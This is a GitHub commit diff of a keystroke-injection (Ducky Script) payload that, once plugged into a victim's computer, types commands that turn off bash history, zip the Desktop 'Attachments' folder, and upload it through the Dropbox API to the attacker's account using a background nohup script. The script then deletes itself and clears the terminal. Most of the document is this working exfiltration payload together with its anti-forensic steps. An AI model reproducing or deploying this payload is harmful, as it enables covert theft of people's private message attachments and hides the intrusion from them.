Update Imessage Attachments to Dropbox.txt

This commit is contained in:
Narsty
2023-06-21 17:16:03 -05:00
committed by GitHub
parent 09c5536832
commit a6761baea6
@@ -48,27 +48,31 @@ STRING terminal
DELAY 1000
ENTER
DELAY 500
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
CTRL c
DELAY 1000
STRING echo 'cd ~/Desktop && zip -r attachments.zip Attachments && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <YOUR API KEY HERE>" -H "Dropbox-API-Arg: {\"path\": \"/attachments.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @attachments.zip' > upload.sh
STRING echo 'cd ~/Desktop && zip -r attachments.zip Attachments && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <YOUR API KEY HERE>" -H "Dropbox-API-Arg: {\"path\": \"/attachments.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @attachments.zip' > upload.sh
DELAY 2000
ENTER
DELAY 500
STRING chmod +x upload.sh
STRING chmod +x upload.sh
DELAY 500
ENTER
DELAY 500
STRING nohup ./upload.sh >/dev/null 2>&1 &
STRING nohup ./upload.sh >/dev/null 2>&1 &
DELAY 500
ENTER
DELAY 2000
CTRL C
DELAY 500
STRING rm upload.sh
STRING rm upload.sh
DELAY 500
ENTER
DELAY 500
STRING CLEAR
STRING CLEAR
DELAY 500
ENTER
DELAY 500